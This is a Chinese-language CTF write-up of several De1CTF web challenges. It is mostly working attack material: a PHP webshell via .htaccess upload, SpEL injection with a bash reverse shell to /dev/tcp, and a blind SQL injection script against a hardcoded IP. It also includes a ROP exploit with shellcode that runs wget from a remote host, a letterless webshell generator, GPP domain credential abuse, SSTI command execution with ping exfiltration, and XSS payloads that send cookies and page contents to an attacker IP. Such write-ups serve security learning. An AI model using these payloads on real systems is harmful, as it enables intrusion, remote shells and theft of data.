de1ta 师傅出的题质量真的太高了,膜拜一下
checkin 文件上传题目
先上传 .htaccess,php 字段使用反斜杠绕过
1 2 AddType application/x-httpd-p\ hp .png
然后上传后缀为 .png 的一句话木马访问即可
1 <?= system('cat /flag');
calc java 计算器题目
这题是环境坏了捡了个漏
抓包修改 clac
,添加一些图书字符使其报错,发现是 springboot 框架
可以知道是 SpEL 表达式注入
fuzz 之后过滤了以下关键字
1 2 3 4 5 6 7 8 9 10 11 - T\s*\( - \# - new - java\.lang - Runtime - exec.*\( - getRuntime - ProcessBuilder - start - getClass - String
payload 可以结合 java 的反射机制和字符串拼接可以绕过黑名单
1 2 "".class.forName("java.l"+"ang.Ru"+"ntime").getDeclaredMethods()[15].invoke\ ("".class.forName("java.l"+"ang.Ru"+"ntime").getDeclaredMethods()[7].invoke(null),"whoami")
但是可以执行命令之后发现还有一个 openrasp 的 waf
当时没什么头绪,但是发现下午的时候它的 openrasp 崩了 :)
于是就可以执行命令了,参考下面文章在 java 反弹 shell 然后 cat /flag 就好了
https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
1 /bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/xxx.xxx.xxx.xxx/9999<&1
复现的时候才知道,有 waf 的情况下可以直接读文件
1 "".class.forName("java.nio.ByteBuffer").wrap("".class.forName("java.nio.file.Files").readAllBytes("".class.forName("java.nio.file.Paths").get("/flag"))).get({})
mixture limit 注入 + .so 拓展逆向题目
limit 注入 打开 member.php 有一个 orderby 提示
fuzz 了很久页面还是毫无变化,黑名单是以下关键字
1 2 3 4 5 6 7 8 9 10 11 - if - regexp - sleep - union - desc - rand - extractvalue - updatexml - ^ - || - &&
过了很久才测出下面 payload 页面有变化
1 member.php?orderby=limit%201
这题就和 2019GoogleCTF 的 gLotto 差不多
https://xz.aliyun.com/t/5503#toc-1
1 orderby=is+not+null,+(case+when+(ascii(mid(database(),1,1))=116)+then+(select+benchmark(5000000,sha(1))+from+users+limit+1)+else+null+end)
利用脚本进行盲注得到密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requests as reqimport timeurl = "http://49.51.251.99/" sess = req.Session() def login (): sess.get(url) data = { "username" : "admin1" , "password" : "admin1" , "submit" : "submit" } sess.post(f"{url} index.php" , data=data) def sqli (): flag = '' index = 1 while (1 ): l = 0 r = 127 m = (l+r)//2 while l<r: paramsGet = {"orderby" :"is not null, (case when (ascii(mid(((select password from member where id=1)),{},1))>{}) then (select benchmark(1000000,sha(1)) from users limit 1) else null end)" .format (index, m)} res = sess.get("http://49.51.251.99/member.php" , params=paramsGet) try : res = sess.get("http://49.51.251.99/member.php" , params=paramsGet, timeout=1 ) r = m except Exception as e: l = m + 1 finally : m = (l+r)//2 flag += chr (m) index += 1 print (f"[*]flag: {flag} " ) if __name__ == "__main__" : login() sqli()
.so 拓展逆向 进去之后是一个读文件接口和 phpinfo 页面
搜索一到一个 Minclude
扩展,然后根据拓展地址下载下来
后面就交给 @q4n 爷爷去 rop 了,附上队友的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 import requestsfrom pwn import *sess = requests.Session() url = "http://49.51.251.99/" def remote_login (): data = { "username" : "admin" , 'password' : "goodlucktoyou" , 'submit' : "submit" } sess.post(url, data=data) def remote1 (filename ): remote_login() data = {"submit" :"submit" ,"search" :filename} response = sess.post(url + "select.php" , data=data).content text = response print (text) def download (filename, text ): filename = filename[filename.rfind("/" ) + 1 :] print ("[+] write %s" %(filename)) f = open (filename, "wb" ) f.write(text) f.close() def local (filename ): url = "http://ip:8085/" data = { "search" : filename } resp = requests.post(url, data=data).content print (resp) context.arch="amd64" libc = None stack = None def genpayload (): global DEB if DEB: libc = 0x00007f77c0d7c000 stack = 0x00007ffc81aa4000 else : libc = 0x7f2fb414d000 stack = 0x7ffc338fa000 system = 0x00449C0 +libc pdi=0x0000000000023a5f +libc psi=0x000000000002440e +libc pdx=0x0000000000106725 +libc pcx=0x00000000000e898e +libc pbx=0x000000000002d0d9 +libc print (hex (pbx)) xa=0x0000000000098385 +libc one = libc+0x4484f mprotect = libc+0x0F4200 ret = 0x000000000002235f +libc p10 = 0x0000000000106724 +libc jdi = 0x00000000000351d4 + libc pdxp=0x0000000000106723 +libc pr = 0x000000000003a2b2 +libc getsp = 0x00000000000a35c6 +libc payload = 'a' .ljust(0x88 ,'\x00' ) payload += flat(pdi,stack) payload += flat(psi,0x21000 ) payload += flat(pdx,7 ) payload += p64(mprotect) payload += flat(pbx,pbx) payload += p64(getsp) payload += flat(pdxp,jdi) payload += p64(0xdeadbeef ) payload += flat(pdxp,jdi) payload += p64(0x30 ) payload += p64(pr) payload += '\x90' *0x28 code64=""" sub rsp,0x200 xor rax,rax xor rsi, rsi push rsi call here .string "/bin/sh" .byte 0 here: pop rdi call here2 .string "/tmp/verver" .byte 0 here2: pop rdx call here3 .string "/usr/bin/wget" .byte 0 here3: pop r8 call here4 .string "http://ip:2333/" .byte 0 here4: pop r9 call here6 .string "-O" .byte 0 here6: pop rsi call here5 .string "/tmp/verver" .byte 0 here5: pop rbx push 0 push rdx push rdi push rsp pop rsi xor rdx,rdx mov al,0x3b syscall cmp rax, 0 jnz ex loop: nop jmp loop ex: int 3 """ payload += asm(code64) return payload DEB = 0 if __name__ == "__main__" : if DEB: local(genpayload()) else : remote1(genpayload())
反弹 shell 后上去动态 /readflag 前抓一下时钟计算就好了
Hard_pentest1 无字母 shell + 渗透题目
文件上传 一开始文件上传,后缀可以用大小写绕过 pHp
字符限制可以用 $_
自增绕过
附上队友的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 res = [] prefix =''' $_=[]; $_=@"$_"; $_=$_['!'=='@']; $___=$_; $__='_'; ''' .split()res.extend(prefix) GET = "GET" for i in GET: for time in range (ord (i) - ord ("A" )): res.append("$_++;" ) res.append("$__.=$_;" ) res.append("$_=$___;" ) res.append("(${$__}[_])(${$__}[__],${$__}[___]);" ) with open ("shell.php" , "w" ) as f: for i in res: f.write(f"<?= {i.strip()[:-1 ]} ?>" ) f.write("\n" ) f.close()
然后就可以使用 file_put_contents
进行写马了
渗透 具体用到的是一个组策略 gpp 的漏洞
主要参考月亮大哥的思路
netstat -ano
查看一下网络信息发现有一台192.168.0.12
的主机
net user /domain
查看域发现有一个HintZip_Pass
用户
net user HintZip_Pass /domain
继续查看该账户
查看域控信息
挂载查看 Hint
信息
1 2 net use e: \\192.168.0.12\Hint cd /d e:
发现一个加密压缩包
挂载再查看 SYSVOL
信息
1 2 net use e: \\192.168.0.12\SYSVOL cd /d e:
使用tree
查看目录结构
这个Groups
文件夹, 有GPP漏洞
使用 kali 的 gpp-decrypt
工具解密即可拿到解压密码
mc_logclient SSTI 题目
简单说一下题目逻辑就是写文件和读文件前都需要校验 work
这个是可以简单爆破的,先读文件才能进行写文件(这个不重要),读文件可以出发 SSTI 漏洞
1 2 3 4 5 6 7 8 9 10 11 def get_work (text, result ): chrset = string.ascii_letters + string.digits for c1 in chrset: for c2 in chrset: for c3 in chrset: for c4 in chrset: s4 = c1 + c2 + c3 + c4 tmp_result = hashlib.sha256((text + s4).encode()).hexdigest() if tmp_result == result: print (f"[*] right work: {s4} " ) return s4
SSTI 的黑名单如下,问题不大,可以用 request 绕过
1 2 3 4 5 6 # Some bad words. blacklist = ['+', ',', ':', '\'\'', '""', '%', 'lower', 'upper', 'builtin', 'fork', 'exec', 'walk', 'open', 'spawn', 'reload', 'exit', 'bin', 'sh', 'cat', 'config', 'secret', 'key', 'flag'] # Posix is a bad module, filter it all. for i in dir(posix): blacklist.append(i.lower())
这里过滤的是 ‘’ 而不是 ‘ 当时被坑了
给出一个简单的 payload
1 {{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['system'](request.args.b)}}
虽然是可以命令执行了,但是当时什么外带命令都打不出来,赛后发现是可以用 ping 进行外带数据
客户端执行
1 ping -c 1 -p `/readflag` [your vps]
vps 执行
1 tcpdump -c 2 -q -XX -vvv -nn -i eth0 icmp
就可以监听到 flag 数据了,但是 icmp 包最大只能接收84长度的数据包,所有要打多几次
官方 wp 利用新特性 breakpointhook
的方法
https://github.com/impakho/de1ctf-mc_challs/tree/master/writeup/mc_logclient
Animal Crossing XSS 题目
一进来是个好看的动森界面
经过 fuzz 可以发现 name、fruit 和 username 处有转义,title 处有 waf,显然注入点就在 title,但是直接加了单引号被 waf 了,而且 \x 编码绕不过就迷茫了,后来才发现不是单引号被 waf 了,是报错被 waf 了 :)
title 可以直接单引号注释逃逸
看看 CSP,支持内联标签
1 Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';
黑名单绕过就使用 base64 编码
1 1'+open(atob('payload'))
以下 payload 可以弹回 cookie,cookie 弹回来就是前一半的 flag
1 (function test(){window.location="http://ip:9999/?f="+btoa(document.cookie);}()));//
然后读一下网页源码可以看到有 400 张图片
1 (function test(){window.location="http://ip:9999/?f="+btoa(document.body.innerHTML);}()));//
利用 upload 接口把照片带到外面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (async()=>{ const arr = [] for(let i=1;i<=400;i++) { res = await fetch(`/island/test_${String(i).padStart(2,0)}.png`) data = await res.blob() const os = new FormData(); const mf = new File([data], "name.png"); os.append("file", mf); r = await fetch("/upload", {method: "POST",body: os}) data = await r.json() arr.push(data.data) } location="http://xxx.xxx.xxx.xxx:9999/?f="+btoa(JSON.stringify(arr)) })();
下载图片然后拼图得到后半部分的 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def main (width_len, height_len, result ): img = Image.open ("img//01.png" ) size = img.size width, height = size[0 ], size[1 ] print (f"width: {width} , height: {height} " ) width_len, height_len = int (width_len), int (height_len) width_length, height_length = width_len, height_len sum_width, sum_height = width * width_length, height * height_length joint = Image.new('RGB' , (sum_width, sum_height)) index = 0 for row in range (height_length): for col in range (width_length): joint.paste(Image.open ("img//" + str (index) + ".png" ), (col * width, row * height)) index += 1 joint.save(result) Image.open (result).show()